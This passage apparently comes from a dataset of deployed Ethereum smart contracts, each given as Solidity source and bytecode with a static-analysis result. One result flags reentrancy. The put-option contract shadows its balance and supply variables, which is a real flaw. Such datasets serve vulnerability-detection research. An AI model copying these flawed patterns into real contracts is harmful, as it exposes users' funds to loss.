b600061178d61148b565b9050600061179b8383611896565b306000908152600260205260409020549091506117b89082611724565b30600090815260026020526040902055505050565b6006546117da90836116e2565b6006556007546117ea9082611724565b6007555050565b600080808061180b60646118058989611896565b906114ae565b9050600061181e60646118058a89611896565b90506000611836826118308b866116e2565b906116e2565b9992985090965090945050505050565b60008080806118558886611896565b905060006118638887611896565b905060006118718888611896565b905060006118838261183086866116e2565b939b939a50919850919650505050505050565b6000826118a5575060006106a9565b60006118b18385611d82565b9050826118be8583611d60565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ab57600080fd5b803561194b8161192b565b919050565b6000602080838503121561196357600080fd5b823567ffffffffffffffff8082111561197b57600080fd5b818501915085601f83011261198f57600080fd5b8135818111156119a1576119a1611915565b8060051b604051601f19603f830116810181811085821117156119c6576119c6611915565b6040529182528482019250838101850191888311156119e457600080fd5b938501935b82851015611a09576119fa85611940565b845293850193928501926119e9565b98975050505050505050565b600060208083528351808285015260005b81811015611a4257858101830151858201604001528201611a26565b81811115611a54576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7d57600080fd5b8235611a888161192b565b946020939093013593505050565b600080600060608486031215611aab57600080fd5b8335611ab68161192b565b92506020840135611ac68161192b565b929592945050506040919091013590565b600060208284031215611ae957600080fd5b81356112dc8161192b565b8035801515811461194b57600080fd5b600060208284031215611b1657600080fd5b6112dc82611af4565b600060208284031215611b3157600080fd5b5035919050565b60008060008060808587031215611b4e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7f57600080fd5b833567ffffffffffffffff80821115611b9757600080fd5b818601915086601f830112611bab57600080fd5b813581811115611bba57600080fd5b8760208260051b8501011115611bcf57600080fd5b602092830195509350611be59186019050611af4565b90509250925092565b60008060408385031215611c0157600080fd5b8235611c0c8161192b565b91506020830135611c1c8161192b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c9c57611c9c611c72565b5060010190565b60008219821115611cb657611cb6611c72565b500190565b600082821015611ccd57611ccd611c72565b500390565b600060208284031215611ce457600080fd5b81516112dc8161192b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3f5784516001600160a01b031683529383019391830191600101611d1a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9c57611d9c611c72565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef32216e321b67ccc8d1de0417c0587c4e85159dab26caa5ff2ef8a87bbe19e464736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,807
0x598c9a4f069dc076984868873c01e78a905d50e6
pragma solidity ^0.5.1; /** * this is the official contract deployed for XLG token * all code is pulled from the open-zeplin github and then flattened into one file. */ /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn&#39;t required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Token that can be irreversibly burned (destroyed). */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender&#39;s allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } /** Below this is the actual token deploymet code **/ /** * @title LedgeriumToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * taken directly from open-zepplin examples. * Note they can later distribute these tokens as they wish using `transfer` and other * `ERC20` functions. */ contract LedgeriumToken is ERC20 { uint256 public constant INITIAL_SUPPLY = 20000000000000000; /** * Total during ERC-20 stage is 200 million. */ /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20("Ledgerium", "XLG", 8) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100ca576000357c01000000000000000000000000000000000000000000000000000000009004806306fdde03146100cf578063095ea7b31461015f57806318160ddd146101d257806323b872dd146101fd5780632ff2e9dc14610290578063313ce567146102bb57806339509351146102ec57806342966c681461035f57806370a082311461039a57806379cc6790146103ff57806395d89b411461045a578063a457c2d7146104ea578063a9059cbb1461055d578063dd62ed3e146105d0575b600080fd5b3480156100db57600080fd5b506100e4610655565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610124578082015181840152602081019050610109565b50505050905090810190601f1680156101515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016b57600080fd5b506101b86004803603604081101561018257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f7565b604051808215151515815260200191505060405180910390f35b3480156101de57600080fd5b506101e7610824565b6040518082815260200191505060405180910390f35b34801561020957600080fd5b506102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610a36565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610a41565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f857600080fd5b506103456004803603604081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a58565b604051808215151515815260200191505060405180910390f35b34801561036b57600080fd5b506103986004803603602081101561038257600080fd5b8101908080359060200190929190505050610c8f565b005b3480156103a657600080fd5b506103e9600480360360208110156103bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b6040518082815260200191505060405180910390f35b34801561040b57600080fd5b506104586004803603604081101561042257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce4565b005b34801561046657600080fd5b5061046f610cf2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104af578082015181840152602081019050610494565b50505050905090810190601f1680156104dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104f657600080fd5b506105436004803603604081101561050d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d94565b604051808215151515815260200191505060405180910390f35b34801561056957600080fd5b506105b66004803603604081101561058057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fcb565b604051808215151515815260200191505060405180910390f35b3480156105dc57600080fd5b5061063f600480360360408110156105f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe2565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106ed5780601f106106c2576101008083540402835291602001916106ed565b820191906000526020600020905b8154815290600101906020018083116106d057829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561073457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60006108bf82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094a84848461108b565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b66470de4df82000081565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a9557600080fd5b610b2482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b610c993382611278565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cee82826113cc565b5050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d8a5780601f10610d5f57610100808354040283529160200191610d8a565b820191906000526020600020905b815481529060010190602001808311610d6d57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dd157600080fd5b610e6082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610fd833848461108b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561107a57600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156110c757600080fd5b611118816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ab816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561126e57600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156112b457600080fd5b6112c98160025461106990919063ffffffff16565b600281905550611320816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61145b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114e58282611278565b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3505056fea165627a7a723058200f1453d256f202ef5830b8a6aff1859639f3926569f205bcbbc87a757b0286cc0029
{"success": true, "error": null, "results": {}}
8,808
0x07227ab560609efc6d45d953ee333a76f329a74b
pragma solidity ^0.4.21; contract Owned { /// &#39;owner&#39; is the only address that can call a function with /// this modifier address public owner; address internal newOwner; ///@notice The constructor assigns the message sender to be &#39;owner&#39; function Owned() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } event updateOwner(address _oldOwner, address _newOwner); ///change the owner function changeOwner(address _newOwner) public onlyOwner returns(bool) { require(owner != _newOwner); newOwner = _newOwner; return true; } /// accept the ownership function acceptNewOwner() public returns(bool) { require(msg.sender == newOwner); emit updateOwner(owner, newOwner); owner = newOwner; return true; } } contract SafeMath { function safeMul(uint a, uint b) pure internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) pure internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) pure internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } } contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// user tokens mapping (address => uint256) public balances; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant public returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant public returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract PUST is ERC20Token { string public name = "UST Put Option"; string public symbol = "PUST12"; uint public decimals = 4; uint256 public totalSupply = 0; uint256 public topTotalSupply = 1000 * 10**decimals; function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can&#39;t be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn&#39;t wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowances[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowances[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowances[_owner][_spender]; } mapping(address => uint256) public balances; mapping (address => mapping (address => uint256)) allowances; } contract ExchangeUST is SafeMath, Owned, PUST { // Exercise End Time 1/1/2019 0:0:0 uint public ExerciseEndTime = 1546272000; uint public exchangeRate = 100000; //percentage times (1 ether) //mapping (address => uint) ustValue; //mapping of token addresses to mapping of account balances (token=0 means Ether) // UST address address public ustAddress = address(0xFa55951f84Bfbe2E6F95aA74B58cc7047f9F0644); // offical Address address public officialAddress = address(0x472fc5B96afDbD1ebC5Ae22Ea10bafe45225Bdc6); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); event exchange(address contractAddr, address reciverAddr, uint _pustBalance); event changeFeeAt(uint _exchangeRate); function chgExchangeRate(uint _exchangeRate) public onlyOwner { require (_exchangeRate != exchangeRate); require (_exchangeRate != 0); exchangeRate = _exchangeRate; } function exerciseOption(uint _pustBalance) public returns (bool) { require (now < ExerciseEndTime); require (_pustBalance <= balances[msg.sender]); // convert units from ether to wei uint _ether = safeMul(_pustBalance, 10 ** 14); require (address(this).balance >= _ether); // UST amount uint _amount = safeMul(_pustBalance, exchangeRate * 10**14); require (PUST(ustAddress).transferFrom(msg.sender, officialAddress, _amount) == true); balances[msg.sender] = safeSub(balances[msg.sender], _pustBalance); balances[officialAddress] = safeAdd(balances[officialAddress], _pustBalance); //totalSupply = safeSub(totalSupply, _pustBalance); msg.sender.transfer(_ether); emit exchange(address(this), msg.sender, _pustBalance); } } contract USTputOption is ExchangeUST { // constant uint public initBlockEpoch = 40; uint public eachUserWeight = 10; uint public initEachPUST = 3358211 * 10**11 wei; uint public lastEpochBlock = block.number + initBlockEpoch; uint public price1=26865688 * 9995 * 10**10/10000; uint public price2=6716422 * 99993 * 10**10/100000; uint public eachPUSTprice = initEachPUST; uint public lastEpochTX = 0; uint public epochLast = 0; address public lastCallAddress; uint public lastCallPUST; event buyPUST (address caller, uint PUST); event Reward (address indexed _from, address indexed _to, uint256 _value); function () payable public { require (now < ExerciseEndTime); require (topTotalSupply > totalSupply); bool firstCallReward = false; uint epochNow = whichEpoch(block.number); if(epochNow != epochLast) { lastEpochBlock = safeAdd(lastEpochBlock, ((block.number - lastEpochBlock)/initBlockEpoch + 1)* initBlockEpoch); doReward(); eachPUSTprice = calcpustprice(epochNow, epochLast); epochLast = epochNow; //reward _first firstCallReward = true; lastEpochTX = 0; } uint _value = msg.value; //uint _PUST = _value * 10**decimals / eachPUSTprice; uint _PUST = safeMul(_value, 10**decimals) / eachPUSTprice; require(_PUST >= 1*10**decimals); if (safeAdd(totalSupply, _PUST) > topTotalSupply) { _PUST = safeSub(topTotalSupply, totalSupply); } uint _refound = safeSub(_value, safeMul(_PUST, eachPUSTprice)/10**decimals); if(_refound > 0) { msg.sender.transfer(_refound); } officialAddress.transfer(safeSub(_value, _refound)); balances[msg.sender] = safeAdd(balances[msg.sender], _PUST); totalSupply = safeAdd(totalSupply, _PUST); emit Transfer(address(this), msg.sender, _PUST); // alloc first reward in a new or init epoch if(lastCallAddress == address(0) && epochLast == 0) { firstCallReward = true; } if (firstCallReward) { uint _firstReward = 0; _firstReward = _PUST * 2 / 10; if (safeAdd(totalSupply, _firstReward) > topTotalSupply) { _firstReward = safeSub(topTotalSupply, totalSupply); } balances[msg.sender] = safeAdd(balances[msg.sender], _firstReward); totalSupply = safeAdd(totalSupply, _firstReward); emit Reward(address(this), msg.sender, _firstReward); } lastEpochTX += 1; // last call address info lastCallAddress = msg.sender; lastCallPUST = _PUST; // calc last epoch lastEpochBlock = safeAdd(lastEpochBlock, eachUserWeight); } // function whichEpoch(uint _blocknumber) internal view returns (uint _epochNow) { if (lastEpochBlock >= _blocknumber ) { _epochNow = epochLast; } else { //lastEpochBlock = safeAdd(lastEpochBlock, thisEpochBlockCount); //thisEpochBlockCount = initBlockEpoch; _epochNow = epochLast + (_blocknumber - lastEpochBlock) / initBlockEpoch + 1; } } function calcpustprice(uint _epochNow, uint _epochLast) public returns (uint _eachPUSTprice) { require (_epochNow - _epochLast > 0); uint dif = _epochNow - _epochLast; uint dif100 = dif/100; dif = dif - dif100*100; for(uint i=0;i<dif100;i++) { price1 = price1-price1*5/100; price2 = price2-price2*7/1000; } price1 = price1 - price1*5*dif/10000; price2 = price2 - price2*7*dif/100000; _eachPUSTprice = price1+price2; } function doReward() internal returns (bool) { if (lastEpochTX == 1) return false; uint _lastReward = 0; if(lastCallPUST > 0) { _lastReward = lastCallPUST * 2 / 10; } if (safeAdd(totalSupply, _lastReward) > topTotalSupply) { _lastReward = safeSub(topTotalSupply,totalSupply); } balances[lastCallAddress] = safeAdd(balances[lastCallAddress], _lastReward); totalSupply = safeAdd(totalSupply, _lastReward); emit Reward(address(this), lastCallAddress, _lastReward); } // only owner can deposit ether into put option contract function DepositETH(uint _PUST) payable public { // deposit ether require (msg.sender == officialAddress); topTotalSupply += _PUST * 10**decimals; } // only end time, onwer can transfer contract&#39;s ether out. function WithdrawETH() payable public onlyOwner { officialAddress.transfer(address(this).balance); } // if this epoch is the last, then the reward called by the owner function allocLastTxRewardByHand() public onlyOwner returns (bool success) { lastEpochBlock = safeAdd(block.number, initBlockEpoch); doReward(); success = true; } }
